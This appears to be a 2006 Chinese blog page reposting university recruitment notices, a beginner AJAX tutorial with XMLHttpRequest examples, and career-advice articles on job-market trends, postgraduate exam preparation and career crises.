招聘信息见:http://yingjiesheng.com/news/a8151c21ba08cc46/59de104dfaeff17f1da9c47d431c043b.html


库柏(中国)

(简历投递截至日期:未知)

对象要求:复旦大学、上海交通大学、上海财经大学、华东师范大学或华东政法学院2007年7月前毕业的本科生或研究生

简历投递方式:

请把简历发送至recruit@cooperasia.com , 邮件主题请写“XX学校X年级XX专业学生申请贵公司HR Trainee”

招聘信息见:http://yingjiesheng.com/doc/a8151c21ba08cc46/Jobshow_90361.html


上海宝钢工程技术有限公司

(简历投递截至日期:未知)

简历投递方式:

联系人:郑小姐   朱先生        联系电话:021-66786678-2022
E-mail:zpbsee@126.com (因信箱有时爆满,欢迎以信函方式投递简历)
地址:上海宝山铁力路2510号上海宝钢工程技术有限公司人力资源部
邮编:201900 
招聘信息见:http://yingjiesheng.com/news/e8c3e3b09a5bd01c/59de104dfaeff17fc8dac39bed69dd1d.html


迅雷

(简历投递截至日期:未知)

简历投递方式:

联系方式:
电子邮件:hr@xunlei.com
传真:0755-26993074
通信地址:深圳市科技园南区曙光大厦11F
人力资源部 姜小姐
公司网址:http://www.xunlei.com
邮政编码:518057

招聘信息见:http://yingjiesheng.com/doc/774e6592957eb4d5/Jobshow_88445.html



备注:应届生求职网Yingjiesheng.COM(http://yingjiesheng.com)整理,如果您发现信息有误,请email告知我们(email:yingjiesheng#gmail.com 用@替换#),以便我们及时修改以方便更多同学。

 

posted @ 2006-11-06 17:38 MEYE 阅读(1053) | 评论 (0)编辑 收藏
URL
http://book.devworld.cn/book/5


 
快速业务开发平台+在线自定义WEB报表平台+多级数据上报解决方案

2006年10月18日
 MEYEGG
 退出

[ 当前在线:1141,本次峰值:1179 ]

首页 | 动态 | 文章 | FAQ  | 新闻 | 下载 | 代码 | 工作 | 调查 | 术语 | 站点 | 图书 | 论坛 | 帮助 | 全部  

[ 在线用户:103,今日总量:29896 ]

TOP | 交流 | 软件 | 专栏 | 开源 | 译/著 | 源码 | API  | 推荐 | FTP  | 积分 | 统计 | 搜索 | Blog | 我们  
首页 » 研究文集 » J2EE综合评论此文章 发表评论  开始监控此文章  开始监控   加入收藏夹  加入收藏夹
AJAX基础教程
snowsea 转贴  (参与分:16550,专家分:1160)   发表:2006-04-23 14:53   版本:1.0   阅读:810

  这篇文章将带您浏览整个AJAX的基本概貌,并展示两个简单的例子让您轻松上路. 

  什么是 AJAX? 
  AJAX (异步 JavaScript 和 XML) 是个新产生的术语,专为描述JavaScript的两项强大性能.这两项性能在多年来一直被网络开发者所忽略,直到最近Gmail, Google suggest和google Maps的横空出世才使人们开始意识到其重要性. 

  这两项被忽视的性能是: 
  无需重新装载整个页面便能向服务器发送请求. 
  对XML文档的解析和处理.

步骤 1 ? "请!" --- 如何发送一个HTTP请求

  为了用JavaScript向服务器发送一个HTTP请求, 需要一个具备这种功能的类实例. 这样的类首先由Internet Explorer以ActiveX对象引入, 被称为XMLHTTP. 后来Mozilla, Safari 和其他浏览器纷纷仿效, 提供了XMLHttpRequest类,它支持微软的ActiveX对象所提供的方法和属性. 

  因此, 为了创建一个跨浏览器的这样的类实例(对象), 可以应用如下代码: 

if (window.XMLHttpRequest) { // Mozilla, Safari, ...
    http_request = new XMLHttpRequest();
} else if (window.ActiveXObject) { // IE
    http_request = new ActiveXObject("Microsoft.XMLHTTP");
}

  (上例对代码做了一定简化,这是为了解释如何创建XMLHTTP类实例. 实际的代码实例可参阅本篇步骤3.) 

  如果服务器的响应没有XML mime-type header,某些Mozilla浏览器可能无法正常工作. 为了解决这个问题, 如果服务器响应的header不是text/xml,可以调用其它方法修改该header. 

http_request = new XMLHttpRequest();
http_request.overrideMimeType('text/xml');

  接下来要决定当收到服务器的响应后,需要做什么.这需要告诉HTTP请求对象用哪一个JavaScript函数处理这个响应.可以将对象的onreadystatechange属性设置为要使用的JavaScript的函数名,如下所示: 

http_request.onreadystatechange = nameOfTheFunction; 

  注意:在函数名后没有括号,也无需传递参数.另外还有一种方法,可以在扉页(fly)中定义函数及其对响应要采取的行为,如下所示: 

http_request.onreadystatechange = function(){
    // do the thing
};

  在定义了如何处理响应后,就要发送请求了.可以调用HTTP请求类的open()和send()方法, 如下所示: 

http_request.open('GET', 'http://www.example.org/some.file', true);
http_request.send(null);

  open()的第一个参数是HTTP请求方式 ? GET, POST, HEAD 或任何服务器所支持的您想调用的方式. 按照HTTP规范,该参数要大写;否则,某些浏览器(如Firefox)可能无法处理请求.有关HTTP请求方法的详细信息可参考http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html W3C specs 
  第二个参数是请求页面的URL.由于自身安全特性的限制,该页面不能为第三方域名的页面.同时一定要保证在所有的页面中都使用准确的域名,否则调用open()会得到"permission denied"的错误提示.一个常见的错误是访问站点时使用domain.tld,而当请求页面时,却使用www.domain.tld. 
  第三个参数设置请求是否为异步模式.如果是TRUE, JavaScript函数将继续执行,而不等待服务器响应.这就是"AJAX"中的"A". 
  如果第一个参数是"POST",send()方法的参数可以是任何想送给服务器的数据. 这时数据要以字符串的形式送给服务器,如下所示: 

name=value&anothername=othervalue&so=on 


步骤 2 ? "收到!" --- 处理服务器的响应 

  当发送请求时,要提供指定处理响应的JavaScript函数名. 

http_request.onreadystatechange = nameOfTheFunction; 

  我们来看看这个函数的功能是什么.首先函数会检查请求的状态.如果状态值是4,就意味着一个完整的服务器响应已经收到了,您将可以处理该响应. 

if (http_request.readyState == 4) {
    // everything is good, the response is received
} else {
    // still not ready
}

  readyState的取值如下: 
  0 (未初始化) 
  1 (正在装载) 
  2 (装载完毕) 
  3 (交互中) 
  4 (完成) 

  接着,函数会检查HTTP服务器响应的状态值. 完整的状态取值可参见 W3C site. 我们着重看值为200 OK的响应. 

if (http_request.status == 200) {
    // perfect!
} else {
    // there was a problem with the request,
    // for example the response may be a 404 (Not Found)
    // or 500 (Internal Server Error) response codes
}

  在检查完请求的状态值和响应的HTTP状态值后, 您就可以处理从服务器得到的数据了.有两种方式可以得到这些数据: 

http_request.responseText ? 以文本字符串的方式返回服务器的响应 
http_request.responseXML ? 以XMLDocument对象方式返回响应.处理XMLDocument对象可以用JavaScript DOM函数 


步骤 3 ? "万事俱备!" - 简单实例

  我们现在将整个过程完整地做一次,发送一个简单的HTTP请求. 我们用JavaScript请求一个HTML文件, test.html, 文件的文本内容为"I'm a test.".然后我们"alert()"test.html文件的内容. 

<script type="text/javascript" language="javascript">
    var http_request = false;
    function makeRequest(url) {

        http_request = false;

        if (window.XMLHttpRequest) { // Mozilla, Safari,...
            http_request = new XMLHttpRequest();
            if (http_request.overrideMimeType) {
                http_request.overrideMimeType('text/xml');
            }
        } else if (window.ActiveXObject) { // IE
            try {
                http_request = new ActiveXObject("Msxml2.XMLHTTP");
            } catch (e) {
                try {
                    http_request = new ActiveXObject("Microsoft.XMLHTTP");
                } catch (e) {}
            }
        }

        if (!http_request) {
            alert('Giving up :( Cannot create an XMLHTTP instance');
            return false;
        }
        http_request.onreadystatechange = alertContents;
        http_request.open('GET', url, true);
        http_request.send(null);

    }

    function alertContents() {

        if (http_request.readyState == 4) {
            if (http_request.status == 200) {
                alert(http_request.responseText);
            } else {
                alert('There was a problem with the request.');
            }
        }

    }
</script>
<span
    style="cursor: pointer; text-decoration: underline"
    onclick="makeRequest('test.html')">
        Make a request
</span>


  本例中: 
  用户点击浏览器上的"请求"链接; 
  接着函数makeRequest()将被调用.其参数 ? HTML文件test.html在同一目录下; 
  这样就发起了一个请求.onreadystatechange的执行结果会被传送给alertContents(); 
  alertContents()将检查服务器的响应是否成功地收到,如果是,就会"alert()"test.html文件的内容. 

步骤 4 ? "X-文档" --- 处理XML响应

  在前面的例子中,当服务器对HTTP请求的响应被收到后,我们会调用请求对象的reponseText属性.该属性包含了test.html文件的内容.现在我们来试试responseXML属性. 

  首先,我们新建一个有效的XML文件,后面我们将使用这个文件.该文件(test.xml)源代码如下所示: 

<?xml version="1.0" ?>
<root>
    I'm a test.
</root>

  在该脚本中,我们只需修改请求部分: 

...
onclick="makeRequest('test.xml')">
...

  接着,在alertContents()中,我们将alert()的代码alert(http_request.responseText);换成: 

  var xmldoc = http_request.responseXML;
  var root_node = xmldoc.getElementsByTagName('root').item(0);
  alert(root_node.firstChild.data);



  这里,我们使用了responseXML提供的XMLDocument对象并用DOM方法获取存于XML文件中的内容. 

版权声明
本篇文章对您是否有帮助?  投票:         投票结果:     9       1
作者其它文章: 作者全部文章
Topic: Thinking in AJAX -- 基于AJAX的WEB设计上一篇文章
返回文章列表返回〔J2EE综合〕
下一篇文章Topic: 怎样使用AJAX进行WEB应用程序开发

文字广告链接
       自主、快速定制基于JAVA的B/S业务系统        重量级企业在线自定义WEB报表平台
       数巨报表: 全程图形化设计无须代码,适合J2EE、ASP及.NET等环境,功能强大的Web报表工具
       http://www.maxatx.com/
       上海网域网:上海、香港、美国服务器租用 服务器托管专家

关于 JR  |  版权声明  |  联系我们 

©2002-2006 JR 版权所有 沪ICP备05019622号  

posted @ 2006-10-18 11:47 MEYE 阅读(360) | 评论 (0)编辑 收藏
     摘要: 发表文章 2006年中...  阅读全文
posted @ 2006-08-28 15:53 MEYE 阅读(2227) | 评论 (0)编辑 收藏
     摘要: 发表文章 一位IT研发...  阅读全文
posted @ 2006-08-28 15:40 MEYE 阅读(3368) | 评论 (1)编辑 收藏
猎头最关注七行业 复合型人才最吃香
2006-07-25 07:43:08
  
 广告媒体业注重复合型人才
    
      某猎头总裁表示,从去年底开始一个很突出的变化是,媒体广告行业开始大规模使用猎头服务,包括客户总监、媒体策划等职位的高级人才都是这个行业急于猎取的对象。具体说来,从事媒体广告行业的人才应该成为“创意+外语”的广告人和“网络+专才”的媒体人。媒体人才现在最需要的是不仅仅只是拥有新闻专业知识,同时需要掌握另外一门学科基本知识的复合型专业人才。
    
      此外规模较大的民营企业,也加快了网罗人才的步伐。
    
      三类电信人才成主要争夺目标
    
      而电信行业一改前两年的低迷情况,大规模招聘3G人才。从研发、项目管理、技术经理、成本控制、项目流程管理等各个环节的人才都是电信行业猎捕的对象。据有关专家介绍,具体来讲,电信行业对人才的需求主要集中在三个方面。一是创新型通信技术人才继续成为需求的热点;二是市场营销人才的需求快速升温,因此,既懂电信技术,又懂市场营销的人才需求会逐步升温,市场营销专业的毕业生将越来越走俏电信人才市场;三是统揽全局的复合型管理人才成为争夺的对象,因此,统领全局的、既懂技术又具有市场经济与新经济、新思维的,会管理的开拓型复合型人才是各企业追逐的对象。
    
      制药业人才难觅
    
      随着人们生活水平的提高,人们对药品质量、品种、数量和医疗技术、医疗条件的要求也越来越高。在科技迅速发展的今天,从行业整体发展的趋势来看,以高科技开发为依托的医药行业属于“朝阳产业”,将始终表现出良好的成长性。但不少知名的跨国医药公司,竟然招募不到合适的人员,而其本身的人才流失也非常严重。所以药科类(调整后共分药学、中药学、药物制剂三个专业)毕业生的就业普遍看好,总体上供小于求。另外,医药的贸易、经销、检验和医药信息管理对专业技术人员需求也会增加。
    
      物流业急需三类人才
    
      物流规划咨询人才、物流外向型国际人才和物流科研人才是目前物流业急需的人才。
    
      目前城市物流系统要改造,企业物流系统、行业物流系统要改造,物流园区、配送中心要规划设计,这些工作都要靠规划咨询人才,这种复合型人才要求很高。目前这种人才最紧缺,培养的难度也最大。
    
      中国加入WTO后,必须遵守国际通行的市场规划,按国际惯例进行运作,这就要求物流企业的员工都要熟悉现代物流理念和现代物流管理。而且,随着中国逐步成为世界制造中心,全球采购与销售网络的形成将带动庞大的国际物流系统,这就要求企业必须要储备一大批精通进出口贸易、海关业务、采购系统、供应链管理、国际法的物流人才,靠他们实现中国商品与国际市场的全面接轨。
    
      此外,从业人员都是从传统运输、仓储行业转变过来的,在中国,目前还没有一个绝对的权威能把物流理论系统化。已经有很多学者认识到,中国物流理论与物流技术的落后直接与国内缺少物流科研人员有关,这个瓶颈问题不解决,“繁荣”都只能停留在表面。
    
      零售业管理人才稀缺
    
      国内零售行业管理人才一向稀缺。目前世界知名品牌要抢占中国市场,纷纷招兵买马,意在全国开设多家连锁店,所以零售行业管理人才的需求极大。统计资料表明,目前零售业一方面普通从业人员过剩,一方面适应现代商业零售业需要的综合人才不足。来自人才市场的信息也证明了这一点。今年以来,零售业人才,特别是其中的销售人才一直稳居需求的前三甲,但在实际招聘中,复合营销人员、零售店长、营销策划人才往往紧缺。
    
      汽车行业高级人才备受关注
    
      汽车和房地产行业依旧炙手可热。汽车行业不仅关注应届毕业生,更需要各种高级人才,包括研发、生产、销售、质量控制等各个环节的人才。而目前国内汽车企业最缺的就是复合型职业经理人。优秀的汽车产业管理人员往往需要具备汽车技术、营销、管理等综合技能,而高级管理人员除此之外,还需要具有战略管理能力。另外,高级技师也是要重点引进、培养的人才。
    
      房产行业关注顶级销售人才
    
      房地产行业目前很需要高端产品的顶级销售人才,而薪酬和机会增长最快的职业为三类:一类是独立操作房产项目的总经理,他们一般需要有10年左右的房产从业经验;第二类是进行房产项目定位、产品定位的人员,如总建筑师、营销总监类;另外,由于房产信贷政策变动后,融资压力增大,具有资本运作方面经验的人才也将受到重视。
    
      此外,房地产业的延伸型人才,如房地产评估、经纪和物业管理等行业以及相关行业中的建材、装修材料、房地产工程、工程监理等的人才缺口较大。
 
出处:新闻晨报
[原创]北大博士谈考研(图)
2006-07-24 08:06:13
  
文/梁娟
经朋友较介绍,我有幸和北大的一位博士进行了一次电话聊天。他是主攻行政法的,在和他通话的前一天,他刚刚通过博士论文的答辩。虽然只是一次短短的电话聊天,但却获益匪浅。对于法学这个专业来说,现在就业越来越难,如果仅仅靠本科文凭是很难找到工作的,而读研究生可以让自己的起点比别人高些。虽然考研的人也很多,也会容易产生跟风的念头,但从我自身来说,确实是适合我的一个选择。

经过整理我们的谈话内容,总结出以下的建议:

首先,关于选择学校。他说觉得最好是选择名校。尤其本科是在二类或者三类的学校读的同学。名校的氛围以及那些师生的思想都对你的视野和成长很大的益处。当然也要根据自己大体的实力水平。如果你觉得慎重的话就选择比较有把握的学校;如果你觉得要对自己提出挑战的话就选择相对有些难考的学校,总之是因人而异。还有对学校的地域也要有所选择,比如我们就处在地缘优势很好的北京,可以考虑选择北京的学校。

其次,是对专业的选择。关键是兴趣。因为这是你要在以后的学习过程中深入研究的,而且很大程度上是与你以后从事的工作有密切关系的,因此只有自己有兴趣的才有可能进行深入学习。但也要注意结合自己的实力来做出选择。此外,对专业的选择还要结合以后要从事的工作来分析,从实用角度出发选择专业,除非你想搞研究,因为研究生毕业后还是要工作的。

第三,财力。考研不是一件好差事。报名、买资料、上辅导班都要花销大把银子。假如考中了,还得忍受3年清贫的书生生活。对一些家庭条件不是特别好的同学来说,是否要考研就不得不考虑经济条件了。因为万一考不上,不仅错过了找工作的最佳时机,更会加重经济负担。

第四,决定考研后就要注意地收集考研的信息,为考研做好准备。这可以从网上、师哥师姐的考研经验中得到。

对现在处于大二的同学来说,可以不必太心急,还是要将专业知识学好,为考研打下坚实基础。特别是英语,一定要把六级考过了。到大三就可以做出最后的决定,然后全力以赴的去准备。特别指出对英语的复习。如果英语基础不是很好的,就要提前开始复习考研词汇,以及注意其他的英语能力的提高。做到持之以恒。他建议我我从今年暑假开始就开始对大一、大二学习过的课程进行一次回忆性复习,不仅能可以对以后的专业课学习有帮助,更对考研有帮助。

最重要是学校和专业的选择,在你做出选择后就是复习考研的问题了。除专业知识的复习意外,特别强调心理战术和意志力。主要注意以下几点:

第一,必须要做好持久战的准备。考研并没有想象中的那么难。事实上,只要你有考研的决心,并有持之以恒的毅力,成功不在话下。

第二,必须要有良好的抗干扰能力。考研复习期间刚好与同学们找工作、考证有所冲突,所以如果你的基础比较差,学习效率也不怎么高的话,一定要保持良好的心态,不要受其他同学找工作或者考证的影响,必须要对考研充满信心。

第三,必须要保持有规律的生活状态。考研的过程很漫长,所以不能三天打鱼,两天晒网,制定一个适合自己的学习计划和作息时间表。

第四,必须要有耐心,切勿急功近利。学习是一个很漫长的过程,也许你一段时间的努力并不能带来分数的显著提高,但就跟哲学里说的一个道理一样:只有达到一定程度的量变才可能产生质的飞跃。努力必有回报,不要因为一时的学习效果不理想而对自己产生怀疑,考研不仅是考验你的学习能力,更是对你心理的一种考验。

这就是我从采访中得到的一点考研经验,这对我来说是很难得的。因为时间有限,所以聊的也不多。但在他的鼓励却给了我考研的信心和勇气,我会朝着自己的目标努力的,相信努力会有回报的。

文/梁娟
出处:大学生职业生涯规划论坛
http://blog.sina.com.cn/m/career
评论(8)引用阅读(1077)打印
文章评论
以下网友留言只代表其个人观点,不代表新浪网的观点或立场
2006-07-25 17:52:08
嘿嘿 加精啦
2006-07-25 18:34:05
谢谢,:)
2006-07-26 20:48:27
什么叫升本,什么叫转本?
[匿名] anx
2006-07-27 14:43:00
六级英语在6月份刚考完,这对考研英语有所帮助吗
2006-07-27 15:08:07
呵呵 顶
  
2006-07-27 17:58:34
考研更是一场毅力的考验。
考研之中,辛酸无数。
[匿名] 笨的首页
2006-07-28 13:22:26
我来找信心
[匿名] nj
2006-08-01 12:38:25
有志者事竟成
技术类人员的职业发展方向在那里?
2006-07-24 07:44:07
  
几乎每个企业都需要技术人员的支持,生产制造型企业需要现场生产控制和工艺流程方面的技术人才;IT等高科技行业需要大量软件研发和设备维护的硬件工程师;房地产、建筑工程领域需要建筑设计师、土木工程师和施工技术人员。此外,不论是国企、民营企业还是外资公司,都需要大量的基础技术工人。甚至很多在豪华写字楼office内工作的白领,从事的工作都是和技术相关的。

  不过,一个严峻的现实是,大量的技术类人员对自己的职业定位和职业生涯规划显得非常迷茫和困惑。中国有句古话:劳心者治人,劳力者治于人。与管理类岗位相比,技术人员往往被人看低一等,他们虽然从事着非常重要、繁琐的技术性工作,但更多的是扮演着幕后英雄的角色。在社会地位、经济收入方面与分光无限的各级管理层普遍存在差距,这一现实造就了技术人员的巨大心理落差。第二个造成职业规划困惑的原因是部分技术性工作的局限性。拿IT行业来说,由于技术和知识更新的速度太快,软件开放人员普遍被认为是吃"青春饭"的职位,谁学习的更快、谁的精力更旺盛、谁更能熬夜,谁就更有竞争力,因为这时经验已经不再重要。如果超过35岁还从事软件开发的话,将很难在本职岗位取得突破。

  那么,对于技术类人员来说,难道他们的职业发展前景真的如此黯淡?事实当然不会如此悲观,做技术工作同样有着非常广阔的空间,当然,关键一点你要令自己的视野更开阔些,从长远的角度来看待这个问题。根据我的经验,技术人员的职业方向可以有以下几个选择:

  方向一、成为项目经理

  对于很多从事技术方面工作的人员来说,发展成为项目经理是一个相当好的工作。项目管理工作既需要扎实的技术背景支持,又涉及多方面的管理工作,最适合那些技术出身但又不甘于只做技术工作的人员。成为项目经理,一方面可以充分发挥技术人员的专业优势,同时又可在团队管理、协调各方资源、内外部沟通等工作中体验和发挥作为管理者的角色和作用,从而让自身价值更为充分的实现和得到认可。优秀的项目管理人才,也是今后很长时期内的一个热门职业方向。

  方向二、成为行业资深专家

  如果的确非常喜爱技术工作,而不擅长和喜欢与人沟通,则可以完全专注于自身的领域,以发展成为行业资深专家为方向和目标,当然,这一发展过程可能会比较漫长,任何一个领域的顶尖技术人才都需要长期的行业经验的累积和个人孜孜不倦的投入。不过这类人才的一个优势是越老越吃香,当别人随着年龄的逐步增长而开始担心饭碗问题时,你则渐入佳境,开始进入职业发展的黄金时期。

  方向三、成为研发经理或技术总监

  事实上,在某些行业和企业,技术研发人员的地位是非常高的。譬如在微软、诺基亚、华为等IT产业,技术的支持和研发的速度,成为企业利润增长的最主要来源,在这些行业,技术研发部门就是企业的主战场。在不少国企和政府部门,也非常重视科技和技术工作,例如,我所知道的广州市市政园林局,就设有总工程师、副总工程师等技术职位,其中总工程师的职务级别相当于副局级,在这种氛围影响下,技术岗位人才和行政领导同样受人尊敬。所以,在一个尊重和重视技术工作的行业和企业中,发展成为研发经理、技术总监或总工程师都是一个很好的选择。

  方向四、做技术型销售和服务

  技术工作的领域其实非常广泛,如果感觉纯技术工作发展潜力不大,可以考虑转向做销售或技术支持方面。华为、中兴等通信技术公司的销售人员,很少是不具有专业技术背景的;甲骨文等软件巨头的市场推广,第一步常常是从销售工程师拜访客户开始的。这类高价值、高科技的产品销售推广,非常需要具有丰富技术经验的销售人员。

  技术人员转向售后服务,也是非常有前途的。我认识的一个朋友,大学是施工机械专业,毕业后一直在市政工程行业做非开挖顶管施工,在几年的工作中积累了丰富的地下顶进设备的应用和维修经验,一个合适的机会跳槽到著名的顶管设备生产商-德国海瑞克公司,成为其售后服务工程师,工作上得心应手,收入也有了数倍的增长。

  方向五、转向管理岗位

  总有一些人,虽然是理工科出身、从事着技术岗位工作,但他们似乎天生就是具有管理天赋的人。这些人会在工作中逐步展现出管理潜质和优秀的领导能力,他们往往更喜欢跟人打交道,更喜欢与外界沟通。在这种条件下,以技术经验为基础和依托,适当补充学习些管理方面的知识,例如可以在职攻读MBA,假以时日,完全可以成长为出色的职业经理人。

  方向六、高级技术操作人员

  刚才所谈的职业发展方向,适用群体多为高校理工专业出身的人士,但对于数量众多的中等专科学校、技校毕业的一线技术工人来说,成为行业技术专家或研发总监的机会显然非常微小。这一群体的职业人士,最佳的技术发展路线是立足本职岗位,成为高级操作型技术人员。

  广州市2006年出台的各类岗位工资指导价格中,高级技师就业的工资比博士还要高出500元。出现这一现象的原因很简单,从全国层面来说,产业工人数量虽然巨大,但高级技工的比例却非常小,"高级技工"的缺乏已经成为制约许多企业发展的"瓶颈".但随着政策环境、企业认识角度和培育机制方面的不断改善,这一现象将逐步得到改变,所以成为中高级技师将是一个非常有前途的职业发展方向。

  最后,我再次拿IT行业为例来具体谈谈技术人员的职业轨迹。
 IT(Information Technology)行业的分类相当复杂,我这里仅仅分析最典型的三个部分:

  第一部分是软件开发,通俗来说就是编程。

  实际上我认为真正的软件开发人员和制鞋工厂中的工人处在一个地位,是企业产品的最终生产者(当然这里没有贬义)。

  第二个部分是MIS: Management Information Service/System(管理信息系统),主要负责基础IT建设、网络、通讯、软硬件支持、简单开发等职能,为公司其他部门提供IT基础服务。

  第三部分是ERP: Enterprise Resource Planning(企业资源计划系统),主要涉及企业管理类软件实施、维护、管理。通过是引入信息化手段在企业现实的实现企业的资源管理,协调企业各方面的生产运作,它对业务的规范和企业的管理机制有很大的依赖。

  让我们来分别看看这三部分人员的职业发展空间:1. 开发人员我的观点是,在中小企业做纯粹的软件开发很可能走上一条不归路,长期从事开发的人一般处世能力不足,升任管理人员的机会不大。而还有一个更重要的问题是中国目前开发行业的环境很不好,正如我之前谈到的基本是在吃青春饭,30往后就很难做下去了。而在美国40岁的开发人员是正吃香的年龄。虽然可能业务越来越精,但可能会离IT越来越远,向纯蓝领工人发展。

  如果真的要做开发,应该找一个更好的平台,最好是进入跨国企业或国内龙头企业。如果数据方面的技术很强,可以考虑转向互联网搜索方向;如果在电子和通信设备方面有优势,可以从简单的程序开发转向通信产品的开发。

  2. MIS人员MIS内容广泛,可从事的职业很多:网管、技术支持等,而且通过努力可以得到提升成为小小的主管(当然要有自身的素质),进而成为MIS Manager,但做到MIS Manager基本也就到头了,不过倒是可以考虑转到不同的行业或企业做MIS.同样是做IT服务,在不同公司内IT部门的地位还是非常巨大的。就我所了解的,雅芳(中国)公司的IT部门就有100多人,在公司总部的各职能部门中的地位相当高;而南方航空公司的IT部门竟然达到800多人,这个规模已经远远超过一般的IT公司,其IT部门的总裁也是公司决策层的重要成员。所以,在这些公司内做IT技术支持工作,既避免了纯编程式的软件开发人员遇到的"人老珠黄"的被动局面,也不必担心IT产业泡沫破灭而产生的生存危机。

  3. ERP类人员从事企业管理类软件的人员一般起点比较高(公司的起点就比较高),要求对财务、生产、销售等流程都有清楚地认识,从业人员不一定为IT出身,而有可能是财务人员或理工科人员等转行而来。IT的迅速发展和企业经营领域的不断拓展,为ERP的推广和发展创造了良好的发展空间。事实上,一个从事企业管理类软件的技术人员完全可以胜任一个企业的管理者,在这一领域技术人员的前景可以说是非常广阔的。

  我认识的一位朋友,本科读的是工业装备控制专业,毕业后一直从事ERP方面的应用推广和管理咨询,虽然他对纯粹的IT技术了解并不是特别深刻,但在ERP系统在企业中的应用方面经验非常丰富,在别人眼中他更像是一名管理咨询师,五年下来已经是这一领域的专家级人物,在个人收入方面也非常可观。

出处:中人网 2006年7月21日作者:滦福田
90.5%的人在竞争中遇到职业危机
2006-07-22 07:09:55
  
90.5%的人在竞争中遇到职业危机
本报最新调查显示,造成职业危机的主要原因是“竞争压力大”(82.1%)、
“发展空间小”(77.3%)和“超负荷工作”(47.9%)

“都这么累了,为什么还要这么紧张地工作?为什么不让自己放松一下?”
“不行啊,我这个职位很多人盯着呢,稍有懈怠就会被人挤掉。”

这是北京师范大学心理学院教授许燕在某合资公司调研时,与一位部门主管的对话。这位部门主管告诉许燕,在公司,老板眼中的员工必须是时刻努力工作的,否则稍有松懈,老板就会找一个工作劲头更足的家伙来取代。

许燕发现,在这家公司,有很多30多岁的女性都还是单身,她们的办公室内都常备着一个旅行箱,以备随时被老板派遣出差。她们几乎没有娱乐休闲,每天除了吃饭睡觉,剩下的时间基本上都在工作。

“我们都不敢考虑个人问题,不敢谈恋爱,危机感太严重了,生怕哪天就因为工作不够努力被别人取代。”这些女性这样说。

“工作的目的是为了更好地生活,现在反过来了,人们生活是为了工作。”许燕感慨。

近日,中国青年报社会调查中心与新浪新闻中心合作进行了一项调查(4652人参加),结果显示,90.5%的人出现过职业危机。这也就是说,只有不到一成的人能够在泰然的状态下工作。

这似乎是个“人人自危”的年代。

32岁的张哲已经工作8年了。8年的职场经历总体来看非常顺利,除了两次职业危机之外。

学了4年市场营销,张哲毕业后的第一份工作是在国内某知名药业集团公司做保健品销售。他对工作充满热情,年轻又富有激情,凭借着聪明好学,很快就做得有声有色,销售业绩直线上升,被评为销售标兵和明星员工,并得到了公司的嘉奖。

很快,张哲觉得自己的沟通交流能力、管理能力,以及对销售流程各个环节的认识都有长足的进步。不久,他就从一线销售人员成为国内地区分公司销售部经理。可就在这个时候,张哲的第一次职业危机出现了。

“由于药业集团在本领域具有垄断性质,各方面效益也比较稳定,当上经理后我才发现,其实自己的发展空间很小,总是在重复以往的工作。我很担心自己的能力停滞不前。”

由于不愿意“混”到退休,张哲决定跳槽。很顺利,一家药业公司重金邀请他加盟,并许诺如果表现出色,半年内可以让他担任公司副总裁。“可真正到了公司我才发现,事实并不像想象的那么好。”

公司并没有让张哲负责市场开拓工作,而是利用他长期积累的人际关系来获取利润。至于他倾心打造的组织构架、产品推广以及销售队伍的建立,并没有得到认可。

“更糟糕的是,我的到来并没有使公司业绩得到明显改变。”这时,领导渐渐对张哲的工作表现不满意了。“我原本希望自己能再一次获得提升的机会,但这个愿望没有实现。”第一次职业危机刚过,张哲的第二次职业危机接踵而至。

本次调查发现,造成职业危机的主要原因依次是竞争压力大(82.1%)、发展空间小(77.3%)和超负荷工作(47.9%)。

“职业危机是社会发展到一定阶段带来的现象。”许燕说,过去端“铁饭碗”的时候,大家都有稳定的工作,安全感很强,根本谈不上什么职业危机。现在不同了,社会竞争激烈,找工作非常困难,失业者数量的增加无形中也使在职人员感受到越来越大的压力。

2003年,曾有一项针对跨国公司高层的调查:如果他们可以在一夜之间将公司中的所有“无用”员工都裁掉,他们会裁掉多少?调查出的数字让人不寒而栗:这一比例在60%~90%。

许燕认为,我国的经济、社会发展正处在一个爬坡的阶段,在这个阶段,人们更容易出现职业危机。

“有工作的人会有职业危机,没有工作的人也有职业危机。”许燕分析说,没有工作的人对职业有着强烈的渴求,会转换成生存危机,也就是说,有工作就意味着生存,没工作则预示着危机。

许燕认为,职场上的人在不同阶段会有不同的职业危机状况,有些人甚至会出现持续性职业危机。“这种情况主要出现在流动性强、竞争激烈的岗位,比如IT业。”

在许燕看来,似乎有两类人更容易出现职业危机:一类是初入职场的新人,另一类则是处在事业上升期的人。初入职场的新人有一个对工作的适应阶段,一般会有“我能不能胜任这份工作,能否把这个职位稳定住”的危机感。而事业发展到了一定阶段时,往往年龄也到了一个“坎儿”,这个时候能否在职位上、薪水上有一个飞跃,则成为很多人不得不面对的危机。

在人才市场和招聘会上,不少人都会注意到,绝大多数单位对应聘者都会有一个年龄要求:35周岁以下。这也在某种程度上表明,35岁是个“坎儿”,要升职、要换工作得趁早。

有意思的是,调查结果刚好印证了这一点。调查表明,37.6%的人认为,30~35岁是职场危机最容易产生的年龄段,接下来依次是36~40岁(24.0%)、30岁以下(14.9%)。

“对岗位要求的适应、对工作稳定性的要求、面临挑战性的工作,这是职业危机产生的常见表现。”许燕说。

调查表明,对自己的前途产生怀疑(76.8%)、工作热情下降(65.8%)、职位上升危机(49.0%)、年龄恐慌(47.8%)、健康状况下降(39.0%)、来自新人的冲击(38.1%),这些都是人们感同身受的职场危机表现。

许燕认为,出现职业危机的时候,一定不要恐慌,因为这种情况绝大多数人都会遇到,不要轻易否定自己,而应该采取积极的处理方式。

“比如说,可以了解自己对工作的匹配度。”许燕说,假设一个工作岗位要求10种能力,而你已经具备了8种能力,那么就应该考虑能否通过学习的途径把另外两种能力补齐。而如果仅仅具备两种能力,那么最好的办法就是放弃这份工作,寻找另一份适合自己的工作。

出处:中国青年报 2006-07-17 李松涛
posted @ 2006-08-28 15:21 MEYE 阅读(858) | 评论 (0)编辑 收藏
     摘要: 发表文章 [原创]选择...  阅读全文
posted @ 2006-08-28 15:08 MEYE 阅读(3516) | 评论 (0)编辑 收藏


NASA World Wind v1.3.5

软件类型: 3D地图
软件语言: 中文
软件大小: 58 MB





软件简介:
    NASA World Wind 俗称地球放大镜,是NASA(美国)国家航空和宇宙航行局
联合出品,类似Earthview 3D的鸟瞰工具,更加权威而且目前完全免费。透过这
套程序的3D引擎,可以让你从外太空看见地球上的任何一个角落。结合在线的资
料库,World Wind最高的解析度可以达到每象素代表15公尺,也就是说一些比较
大的街道可以看得一清二楚,而且包括了可见光以外得影像。此外,透过其中的
